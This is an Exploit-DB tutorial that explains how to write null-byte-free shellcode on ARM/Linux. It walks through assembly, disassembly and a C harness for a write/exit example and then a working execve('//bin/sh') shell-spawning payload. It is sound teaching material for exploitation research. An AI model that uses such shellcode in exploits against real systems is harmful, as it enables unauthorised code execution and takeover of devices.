How to Create a Shellcode on ARM Architecture

EDB-ID:

15652

CVE:

N/A


Platform:

ARM

Published:

2010-12-01

	Title:          [English] How to create a shellcode on ARM architecture ?
	Language:       English 
	Author:         Jonathan Salwan - twitter: @jonathansalwan
	Translated by:  Arona Ndiaye
	Date:           2010-11-25


	Original version: http://howto.shell-storm.org/files/howto-4-en.php



	I - Introduction to the ARM architecture
	=========================================

	The ARM architecture was originally conceived for a computer sold by Acorn. 
	It morphed to then become an independent offer in the market of Embedded Computing. 
	ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine.

	The most famous  core is the ARM7TDMI which is graced with 3 pipeline levels. 
	The ARM7TDMI  even has a  second set of instructions  called THUMB which  allows 16-bits 
	addressing,  and significant memory gains especially in the field of embedded computing. 
	The ARM  architecture is also quite present  in the  field of Mobile Computing. Numerous 
	operating systems have been ported to that architecture. A non-exhaustive list includes:
	Linux (used  by Maemo on the N900  and  Android  on the Nexus One), Symbian S60 with the 
	Nokia N97 or Samsung Player HD,  iPhone  with the  iPhone  and iPad  and Windows Mobile.

	ARM Ltd followed up by  releasing the  ARM9 core which shifted to a five stage pipeline, 
	reducing the number of logical  operations per clock cycle and therefore nearly doubling 
	the clock frequency. 



	II - ARM/Linux shellcode: first attempt
	========================================

	For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core.
	Let's start by having a look at the register conventions.

		Register  	Alt. Name  	Usage
		r0 		a1 		First function argument Integer function result Scratch register
		r1 		a2 		Second function argument Scratch register
		r2 		a3 		Third function argument Scratch register
		r3 		a4 		Fourth function argument Scratch register

		r4 		v1 		Register variable
		r5 		v2 		Register variable
		r6 		v3 		Register variable
		r7 		v4 		Register variable
		r8 		v5 		Register variable
		r9 		v6
				rfp 		Register variable Real frame pointer

		r10 		sl 		Stack limit
		r11 		fp 		Argument pointer
		r12 		ip 		Temporary workspace
		r13 		sp 		Stack pointer
		r14 		lr 		Link register Workspace
		r15 		pc 		Program counter


	So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will 
	be for variables. On the other hand register r7 will store the address of the Syscall to execute. 

	Register r13 points to the stack and register r15 points to the next address to execute. 

	These two registers can be compared to the ESP and EIP registers under x86, even though register 
	operations greatly differ between ARM and x86.

	Let's start by writing a shellcode that will first call the syscall _write and then the _exit one.
	We first need to know the address of the syscalls. We'll do as we usually do:

	root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
	#define __NR_write			(__NR_SYSCALL_BASE+  4)
	#define __NR_writev			(__NR_SYSCALL_BASE+146)
	#define __NR_pwrite64			(__NR_SYSCALL_BASE+181)
	#define __NR_pciconfig_write		(__NR_SYSCALL_BASE+273)


	root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
	#define __NR_exit			(__NR_SYSCALL_BASE+  1)
	#define __NR_exit_group			(__NR_SYSCALL_BASE+248)


	Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments: 
	write(int __fd, __const void *__buf, size_t __n)

	Which gives us:
	r0 => 1			(output)		
	r1 => shell-storm.org\n (string)
	r2 => 16 		(strlen(string))
	r7 => 4 		(syscall)

	r0 => 0
	r7 => 1	

	Here's what we get in assembly:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		# _write()
		mov 	r2, #16
		mov	r1, pc		<= r1 = pc
		add	r1, #24		<= r1 = pc + 24 (which points to our string)
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write#
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)


	Everything seems to work fine so far, however in order create our shellcode, we should have no null 
	bytes, and our code is full of them.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e3a02010 	mov	r2, #16	; 0x10
	    8058:	e1a0100f 	mov	r1, pc
	    805c:	e2811018 	add	r1, r1, #24
	    8060:	e3a00001 	mov	r0, #1	; 0x1
	    8064:	e3a07004 	mov	r7, #4	; 0x4
	    8068:	ef000000 	svc	0x00000000
	    806c:	e0400000 	sub	r0, r0, r0
	    8070:	e3a07001 	mov	r7, #1	; 0x1
	    8074:	ef000000 	svc	0x00000000
	    8078:	6c656873 	stclvs	8, cr6, [r5], #-460
	    807c:	74732d6c 	ldrbtvc	r2, [r3], #-3436
	    8080:	2e6d726f 	cdpcs	2, 6, cr7, cr13, cr15, {3}
	    8084:	0a67726f 	beq	19e4a48 <__data_start+0x19d49c0>

	Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our 
	calls as opposed to 32 bits, which does simplify our life at this stage.

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		.code 32
		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6

		.code 	16
		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #12
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org

	When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute 
	reader will have noticed that I have changed the value of the constant being added to r1. Instead 
	of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode", 
	the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write
	write:     file format elf32-littlearm

	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310c      	adds	r1, #12
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df00      	svc	0
	    8068:	1a00      	subs	r0, r0, r0
	    806a:	2701      	movs	r7, #1
	    806c:	df00      	svc	0
	    806e:	6873      	ldr	r3, [r6, #4]
	    8070:	6c65      	ldr	r5, [r4, #68]
	    8072:	2d6c      	cmp	r5, #108
	    8074:	7473      	strb	r3, [r6, #17]
	    8076:	726f      	strb	r7, [r5, #9]
	    8078:	2e6d      	cmp	r6, #109
	    807a:	726f      	strb	r7, [r5, #9]
	    807c:	0a67      	lsrs	r7, r4, #9

	That's better, all that we have left now to do is to modify the following instructions: "svc 0" 
	and "sub r0, r0, r0".

	For SVC we'll use "svc 1" which is perfect in this case.
	For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0" 
	as that will include a null byte. The only trick so far that I've come across is:

	sub r4, r4, r4
	mov r0, r4

	Which gives us:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:
		.code 32

		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6
		.code 	16

		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #14		<==== We changed the address again, since in exit() we've added
		mov 	r0, $0x1	      instructions which messed it all up.
		mov 	r7, $0x4
		svc 	1

		# _exit()
		sub	r4, r4, r4
		mov	r0, r4
		mov 	r7, $0x1
		svc	1
	.ascii "shell-storm.org\n"
	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)                                 = ?
	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1	; 0x1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310e      	adds	r1, #14
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df01      	svc	1
	    8068:	1b24      	subs	r4, r4, r4
	    806a:	1c20      	adds	r0, r4, #0
	    806c:	2701      	movs	r7, #1
	    806e:	df01      	svc	1
	    8070:	6873      	ldr	r3, [r6, #4]
	    8072:	6c65      	ldr	r5, [r4, #68]
	    8074:	2d6c      	cmp	r5, #108
	    8076:	7473      	strb	r3, [r6, #17]
	    8078:	726f      	strb	r7, [r5, #9]
	    807a:	2e6d      	cmp	r6, #109
	    807c:	726f      	strb	r7, [r5, #9]
	    807e:	0a67      	lsrs	r7, r4, #9



	Here we are, we've got an operational shellcode without any null bytes. In C that gives us:

	root@ARM9:/home/jonathan/shellcode/write/C# cat write.c 

	#include <stdio.h>

	char *SC = 	"\x01\x60\x8f\xe2"
			"\x16\xff\x2f\xe1"
			"\x10\x22"
			"\x79\x46"
			"\x0e\x31"
			"\x01\x20"
			"\x04\x27"
			"\x01\xdf"
			"\x24\x1b"
			"\x20\x1c"
			"\x01\x27"
			"\x01\xdf"
			"\x73\x68"
			"\x65\x6c"
			"\x6c\x2d"
			"\x73\x74"
			"\x6f\x72"
			"\x6d\x2e"
			"\x6f\x72"
			"\x67\x0a";


	int main(void)
	{
		fprintf(stdout,"Length: %d\n",strlen(SC));
		(*(void(*)()) SC)();
	return 0;
	}

	root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
	write.c: In function 'main':
	write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
	root@ARM9:/home/jonathan/shellcode/write/C# ./write 
	Length: 44
	shell-storm.org




	III - execv("/bin/sh", ["/bin/sh"], 0)
	=======================================

	Now let's study a shellcode called execve(). The structure should look like this:

	r0 => "//bin/sh"
	r1 => "//bin/sh"
	r2 => 0

	r7 => 11


	root@ARM9:/home/jonathan/shellcode/shell# cat shell.s 
	.section .text
	.global _start
	_start:
		.code 32			// 
		add 	r3, pc, #1		// This whole section is for "Thumb Mode"
		bx	r3			//
		.code 16			//

		mov 	r0, pc			// We place the address of pc in r0
		add 	r0, #10			// and add 10 to it (which then makes it point to //bin/sh)
		str	r0, [sp, #4]		// we place it on the stack  (in case we need it again)

		add  r1, sp, #4			// we move what was on the stack to r1

		sub	r2, r2, r2		// we subtract r2 from itself (which is the same as placing 0 in r2)

		mov 	r7, #11			// syscall execve in r7
		svc 	1			// we execute

	.ascii "//bin/sh"

	root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
	root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
	root@ARM9:/home/jonathan/shellcode/shell# ./shell 
	# exit
	root@ARM9:/home/jonathan/shellcode/shell#

	We can verify that the shellcode contains no null bytes !!

	    8054:	e28f3001 	add	r3, pc, #1
	    8058:	e12fff13 	bx	r3
	    805c:	4678      	mov	r0, pc
	    805e:	300a      	adds	r0, #10
	    8060:	9001      	str	r0, [sp, #4]
	    8062:	a901      	add	r1, sp, #4
	    8064:	1a92      	subs	r2, r2, r2
	    8066:	270b      	movs	r7, #11
	    8068:	df01      	svc	1
	    806a:	2f2f      	cmp	r7, #47
	    806c:	6962      	ldr	r2, [r4, #20]
	    806e:	2f6e      	cmp	r7, #110
	    8070:	6873      	ldr	r3, [r6, #4]

	So this is it, to find more ARM shellcodes please browse to: http://www.shell-storm.org/search/index.php?shellcode=arm



	IV - References
	================

	[x] http://www.shell-storm.org

	[1] http://fr.wikipedia.org/wiki/Architecture_ARM

	[2] http://nibbles.tuxfamily.org/?p=620

	[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)

	[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)